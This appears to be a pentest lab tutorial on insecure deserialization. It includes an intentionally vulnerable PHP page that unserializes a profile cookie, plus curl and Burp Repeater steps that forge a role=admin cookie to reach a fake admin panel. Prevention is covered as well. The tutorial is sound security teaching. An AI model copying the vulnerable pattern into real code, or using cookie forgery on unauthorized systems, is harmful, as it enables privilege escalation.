| Tested on | Kali GNU/Linux Rolling 2026.2 (kali-rolling) |
|---|---|
| Package | php 8.4.24curlBurp Suite (optional Repeater proof) |
| Lab environment | Pentest lab |
| Cert prep | CompTIA PenTest+ PT0-003 — Domain 4 (attacks and exploits), insecure deserialization |
| Privilege | Normal user for php -S, curl, and Burp |
| Scope | How serialization works, when it is insecure, impact classes, recognizing formats, modifying a serialized privilege field in PHP, conceptual magic methods and gadget chains, Burp Repeater testing, and prevention. Does not cover gadget-chain payload catalogs, RCE exploit recipes, or IDOR (see the IDOR lesson). |
| Related guides | CSRF attack tutorial Server-side request forgery |
Imagine packing a suitcase for a trip. You fold your clothes into a compact bag (serialize), ship the bag, then unpack at the hotel (deserialize). That is fine when you packed the bag. It is unsafe when a stranger can repack it and the hotel staff unpack whatever they find without checking.
In web apps, the “clothes” are application state: a profile, cart, or session blob. The app turns that state into text or bytes, stores it (often in a cookie), and later rebuilds it. Insecure deserialization means the app rebuilds data an attacker can change, then trusts what comes out (for example role=admin).
You will:
- Learn serialize vs deserialize in plain language
- See what this bug class can lead to (logic abuse through RCE)
- Spot common serialized formats
- Run a small PHP lab and change a privilege field in a cookie
- Understand magic methods and gadget chains at a high level (no exploit dump)
- Replay the same proof in Burp Repeater
- Know how to prevent the class of bug
This is a detection and testing lesson, not a gadget-chain cookbook. Object ID swapping (IDOR/BOLA) is a different bug class. Use the IDOR vulnerability guide for that.
Serialization vs deserialization
Two opposite operations:
| Word | What it means | Everyday analogy |
|---|---|---|
| Serialization | Turn in-memory data into bytes or text | Pack the suitcase |
| Deserialization | Rebuild that data from the bytes or text | Unpack the suitcase |
Round trip:
data in memory → serialize → bytes/string → store or send → deserialize → reconstructed data
Apps do this so state can leave the server process. Common places you will see the packed blob:
- Cookies that store a “profile,” “cart,” or “prefs” payload
- Hidden form fields
- Cache entries, message queues, and session backends
- Tokens that embed structured state instead of a simple session ID
JSON also turns structures into text. Native language serializers are often riskier when they can recreate typed objects and run special methods during rebuild:
- PHP
serialize/unserialize - Java
ObjectOutputStream/ObjectInputStream - Python
pickle - .NET
BinaryFormatter(legacy)
JSON usually does not reconstruct arbitrary class instances by itself. Trusting client JSON fields can still be a logic bug.
When deserialization becomes insecure
Using serialization is not automatically a vulnerability. The risk appears when all of these are true:
- An attacker can influence the blob (cookie, parameter, uploaded file, queue message)
- The server rebuilds it with an unsafe or overly powerful API
- The rebuilt fields or object types drive security decisions (role, balance, permissions) or run powerful code
A correctly verified HMAC can prevent an attacker from modifying a client-stored serialized blob. It does not make native deserialization inherently safe, and it does not protect against compromised signing keys, unsafe server-generated serialized data, or vulnerable object graphs that enter through another trust boundary. Prefer not deserializing untrusted native formats at all.
What can insecure deserialization lead to?
Impact depends on what the application does with the rebuilt data and whether dangerous types are reachable:
- Privilege escalation or logic manipulation (change role, price, feature flags)
- Authentication or access-control bypass
- Denial of service (expensive or deeply nested payloads)
- File or system side effects when reconstructed code paths touch the host
- Remote code execution when dangerous object types and gadget chains are reachable
Your PHP lab demonstrates the first class: logic abuse through a trusted privilege field. RCE needs a different sink (class reconstruction and usable gadgets) and stays conceptual later on this page.
Start the PHP profile lab
You will run a tiny intentional vulnerable page on your own machine. It stores PHP-serialized profile data in a cookie. If the rebuilt role is admin, it shows a fake admin panel and a lab flag.
Create the lab directory
On my Kali lab I used PHP 8.4.24. Make a folder for the app:
mkdir -p ~/web-labs/insecure-deserializationmkdir -p creates the path if it is missing and stays quiet if it already exists.
Save the vulnerable page
Create ~/web-labs/insecure-deserialization/index.php with this content:
<?php
declare(strict_types=1);
function default_profile(): array {
return ['user' => 'alice', 'role' => 'user', 'theme' => 'light'];
}
$raw = $_COOKIE['profile'] ?? '';
$profile = default_profile();
if ($raw !== '') {
$decoded = base64_decode($raw, true);
if ($decoded !== false) {
// Intentionally unsafe: untrusted serialized data
$obj = @unserialize($decoded, ['allowed_classes' => false]);
if (is_array($obj)) {
$profile = array_merge(default_profile(), $obj);
}
}
} else {
$serialized = serialize(default_profile());
setcookie('profile', base64_encode($serialized), [
'expires' => time() + 3600,
'path' => '/',
'httponly' => true,
'samesite' => 'Lax',
]);
$raw = base64_encode($serialized);
}
$is_admin = (($profile['role'] ?? '') === 'admin');
header('Content-Type: text/html; charset=utf-8');
?>
<!doctype html>
<html><head><title>GLC Deserialization Lab</title></head>
<body>
<h1>Profile dashboard</h1>
<ul>
<li>user: <?= htmlspecialchars((string)$profile['user'], ENT_QUOTES) ?></li>
<li>role: <?= htmlspecialchars((string)$profile['role'], ENT_QUOTES) ?></li>
<li>theme: <?= htmlspecialchars((string)$profile['theme'], ENT_QUOTES) ?></li>
</ul>
<?php if ($is_admin): ?>
<h2>Admin panel</h2>
<p>FLAG{deserial-role-admin-ok}</p>
<?php else: ?>
<p>Admin panel hidden (need role=admin).</p>
<?php endif; ?>
<pre>profile cookie (base64): <?= htmlspecialchars($raw, ENT_QUOTES) ?></pre>
</body></html>
What this page does, in order:
- Looks for a
profilecookie - Base64-decodes it, then runs
unserialize(the unsafe step for this lesson) - Reads
rolefrom the rebuilt array - Shows the admin panel only when
roleisadmin
The lab sets allowed_classes => false, which prevents normal class instantiation from the serialized input. Arrays and scalar values still deserialize, which is enough to demonstrate client-controlled privilege state. Disallowed class payloads would become __PHP_Incomplete_Class rather than usable objects; this lab never needs that path.
unserialize() even when allowed_classes is restricted. The lab intentionally violates that rule so you can observe why the trust boundary matters.
Start the PHP built-in server
Serve the folder on loopback port 42010:
php -S 127.0.0.1:42010 -t ~/web-labs/insecure-deserializationLeave that terminal open. You should see a line that the development server started. Open a second terminal for the curl and Burp steps below.
Confirm the default (non-admin) page
Fetch the page, save headers and body, and store cookies in a jar file:
curl -s -D- -o /tmp/deserial-body.html -c /tmp/deserial.jar http://127.0.0.1:42010/What those flags mean:
-D-prints response headers to the terminal-o /tmp/deserial-body.htmlsaves the HTML body-c /tmp/deserial.jarwrites cookies curl received (includingprofile)
Sample response headers (trimmed):
HTTP/1.1 200 OK
Set-Cookie: profile=YTozOntzOjQ6InVzZXIiO3M6NToiYWxpY2UiO3M6NDoicm9sZSI7czo0OiJ1c2VyIjtzOjU6InRoZW1lIjtzOjU6ImxpZ2h0Ijt9; path=/; HttpOnly; SameSite=Lax
Content-Type: text/html; charset=utf-8The Set-Cookie: profile=… line is the packed state. Confirm the page still hides admin content:
grep -E 'role:|Admin panel' /tmp/deserial-body.htmlSample output:
<li>role: user</li>
<p>Admin panel hidden (need role=admin).</p>You are a normal user until the rebuilt cookie says otherwise.
Recognize serialized data
Pull the cookie value from the jar (Burp’s cookie editor shows the same string):
awk '/profile/{print $NF}' /tmp/deserial.jarSample output:
YTozOntzOjQ6InVzZXIiO3M6NToiYWxpY2UiO3M6NDoicm9sZSI7czo0OiJ1c2VyIjtzOjU6InRoZW1lIjtzOjU6ImxpZ2h0Ijt9That long string is Base64. Decode it to see the real PHP serialization:
echo 'YTozOntzOjQ6InVzZXIiO3M6NToiYWxpY2UiO3M6NDoicm9sZSI7czo0OiJ1c2VyIjtzOjU6InRoZW1lIjtzOjU6ImxpZ2h0Ijt9' | base64 -d; echoSample output:
a:3:{s:4:"user";s:5:"alice";s:4:"role";s:4:"user";s:5:"theme";s:5:"light";}How to read a simple PHP array blob:
a:3:{…}means an array with 3 elementss:4:"user"means a string of length 4 whose key or value isusers:5:"alice"is the username value (5 characters)
If you change a string, you must also change its length number, or PHP rejects the data.
Other format clues (recognition only):
| Clue | Typical meaning |
|---|---|
a:…{…} / O:…:"Class":… |
PHP serialize |
Hex AC ED 00 05, or Base64 often beginning rO0AB |
Java serialized stream |
| Opaque binary or Base64 that tooling identifies as pickle | Possible Python pickle (treat untrusted pickle as code-execution risk) |
JSON {…} |
Structured text; usually no class magic, still can hold trusted-looking fields |
You do not need a lab for every language. Spot the blob, peel transport encoding (Base64, URL encoding), identify the family, then ask: does the server trust fields inside this?
Modify a serialized privilege field
The bug in this lab is simple: the server treats cookie fields as truth after unserialize. Build a profile where role is admin and keep the other fields the same:
php -r 'echo base64_encode(serialize(["user"=>"alice","role"=>"admin","theme"=>"light"])); echo "\n";'Sample output:
YTozOntzOjQ6InVzZXIiO3M6NToiYWxpY2UiO3M6NDoicm9sZSI7czo1OiJhZG1pbiI7czo1OiJ0aGVtZSI7czo1OiJsaWdodCI7fQ==Decode your new cookie before you send it, so you can see the edit:
echo 'YTozOntzOjQ6InVzZXIiO3M6NToiYWxpY2UiO3M6NDoicm9sZSI7czo1OiJhZG1pbiI7czo1OiJ0aGVtZSI7czo1OiJsaWdodCI7fQ==' | base64 -d; echoSample output:
a:3:{s:4:"user";s:5:"alice";s:4:"role";s:5:"admin";s:5:"theme";s:5:"light";}Compare with the original:
- Before:
s:4:"role";s:4:"user" - After:
s:4:"role";s:5:"admin"
admin is five characters, so the length is s:5. Hand-editing without fixing lengths is a common beginner mistake.
Send the new cookie with curl:
curl -s -H 'Cookie: profile=YTozOntzOjQ6InVzZXIiO3M6NToiYWxpY2UiO3M6NDoicm9sZSI7czo1OiJhZG1pbiI7czo1OiJ0aGVtZSI7czo1OiJsaWdodCI7fQ==' \
http://127.0.0.1:42010/ | grep -E 'role:|Admin|FLAG'Sample output:
<li>role: admin</li>
<h2>Admin panel</h2>
<p>FLAG{deserial-role-admin-ok}</p>The server unpacked your blob and treated role as authorization. Finding language for a report:
- Untrusted deserialization of client-controlled serialized data
- Security-relevant field (
role) taken from the cookie afterunserialize - Impact: privilege elevation / logic abuse in the application UI (lab flag)
Next, repeat the same proof in Burp so your evidence matches how many engagements are documented.
Why object types, magic methods, and gadget chains matter
This lab only rebuilds an array of strings. That is enough for logic abuse. Native serializers can also rebuild class instances.
While unpacking classes, some languages run special methods, for example:
- PHP
__wakeup/__destruct - Java
readObject - Similar hooks in other stacks
If those methods touch files, call services, or use attacker-controlled properties, impact can jump from “change a privilege field” to file write or code execution.
A gadget is existing application or library code that becomes useful to an attacker when triggered. A gadget chain links several of those pieces during deserialization:
- The attacker usually does not upload new malware files
- They send a carefully built serialized object graph
- The graph walks code already on the server (frameworks, plugins, libraries)
For assessments, record:
- Which serializer the app uses
- Library and framework versions
- Whether untrusted input reaches
unserialize,ObjectInputStream,pickle.loads, or similar
Treat “a public gadget exists for this stack” as a prioritization hint after you confirm the sink. Do not paste random public payloads into production or third-party apps. Type allowlists (such as PHP allowed_classes) shrink the surface; they do not replace “do not put privileges in client blobs” and do not make untrusted unserialize() safe by themselves.
Test serialized data with Burp Repeater
Curl already proved the issue. In an engagement you often capture and edit the same cookie in Burp Suite.
On this lab, use these steps:
- Configure your browser to use Burp’s proxy and visit
http://127.0.0.1:42010/once so the defaultprofilecookie is set - In Proxy → HTTP history, find the
GET /request to127.0.0.1:42010 - Right-click → Send to Repeater
- In Repeater, locate the
Cookie:header and theprofile=value (Base64 PHP serialization) - Replace that value with the admin blob you built earlier:
profile=YTozOntzOjQ6InVzZXIiO3M6NToiYWxpY2UiO3M6NDoicm9sZSI7czo1OiJhZG1pbiI7czo1OiJ0aGVtZSI7czo1OiJsaWdodCI7fQ==- Click Send
- In the response, confirm
role: admin, the Admin panel heading, andFLAG{deserial-role-admin-ok}
That is the same trust failure as curl: Burp only changes how you edit and present the evidence. Intruder is optional later for field fuzzing, only after you have a working proof and your scope allows it.
Prevention
| Control | Why it helps |
|---|---|
| Do not deserialize untrusted native formats | Removes the dangerous sink |
| Prefer simple data formats such as JSON plus strict schema and type validation | Avoids native object reconstruction; authorization and logic checks are still required |
| Keep privileges and roles on the server | Client blobs cannot grant admin |
| Sign and verify with HMAC only if you must transport state | Prevents unauthorized modification of the blob; does not remove risks inherent to native deserialization |
| Allowlist permitted classes when native deserialize is unavoidable | Shrinks gadget surface; still not a green light for untrusted input |
| Keep frameworks and libraries patched | Reduces known gadget availability |
HMAC on a serialized privilege cookie is still a design smell even when the signature verifies. Prefer a session ID server-side and look up the real role from a trusted database.
Troubleshooting
| Symptom | Likely cause | Fix |
|---|---|---|
php -S connection refused |
Server not running or wrong port | Start php -S again; use 127.0.0.1:42010 |
| PHP rejects your cookie after edit | Wrong string length in s:N:"…" |
Recount characters, or regenerate with serialize() |
| Admin panel still hidden | Cookie not sent or wrong name | Confirm Cookie: profile=… and path / |
base64_decode fails |
Truncated or URL-encoded value | URL-decode first; keep Base64 padding |
| Only JSON present | Different data format | Still test logic bugs; native object injection may not apply |
| Want IDOR testing | Wrong vulnerability class | Use the IDOR / BOLA lesson |
Summary
Serialization packs application state for storage or transport. Deserialization unpacks it. The vulnerability appears when the packed data is attacker-controlled and the server trusts what comes out of the unpack step.
On the PHP lab, the profile cookie held a Base64-wrapped array, not a class instance. Changing the serialized privilege field role from user to admin unlocked the admin panel because the server called unserialize on untrusted input and believed the result. That is a valid insecure-deserialization finding for logic abuse. PHP object injection and gadget-chain RCE need class reconstruction and stay conceptual here.
Prefer removing native deserialize sinks, keeping authorization server-side, and using simple formats with schema checks. Use Burp Repeater to document the same cookie edit you proved with curl. For bugs that swap object IDs between users, continue with the IDOR / BOLA guide.
References
- OWASP Deserialization Cheat Sheet
- OWASP A08:2021 Software and Data Integrity Failures
- OWASP WSTG - Testing for Insecure Deserialization
- PHP unserialize
- Java Object Serialization Stream Protocol
Frequently Asked Questions
What is insecure deserialization?
It is reconstructing attacker-influenced serialized data with APIs that rebuild application state or objects unsafely. The failure is trust in the blob, not the mere existence of serialization.
Is this PHP lab the same as PHP object injection?
No. The lab deserializes a serialized array with allowed_classes set to false. It shows logic abuse through untrusted deserialization. Object injection and gadget-chain RCE require class reconstruction and are covered only conceptually on this page.
How do I detect serialized data in a web app?
Look in cookies, hidden fields, and tokens for Base64 or hex wrappers, PHP a:/O: patterns, Java hex AC ED 00 05 or Base64 often starting rO0AB, pickle identified by tooling, or other language-native formats. Decode one layer at a time and identify the serializer family.
Is JSON the same risk as PHP serialize or Java serialization?
JSON still carries logic risks if you trust client fields, but it does not normally reconstruct arbitrary class instances and run magic methods the way native object serializers can. You still need schema and authorization checks.
What is a gadget chain?
A sequence of existing classes and methods that, when composed during deserialization, produces an attacker-useful effect. It relies on code already present in the application or libraries.
Does signing the serialized cookie fix the issue?
A correctly verified HMAC can stop an attacker from forging a new blob without the key. It does not make native deserialization inherently safe, and it fails if the key is compromised or unsafe serialized data arrives from another path. Prefer server-side session data for privileges.
Should I run public Java or PHP gadget payloads in every engagement?
Only against authorized targets, and only after you confirm a real deserialize sink and scope. Blindly spraying gadgets is noisy, often outdated, and easy to mis-scope. Detection and sink confirmation come first.

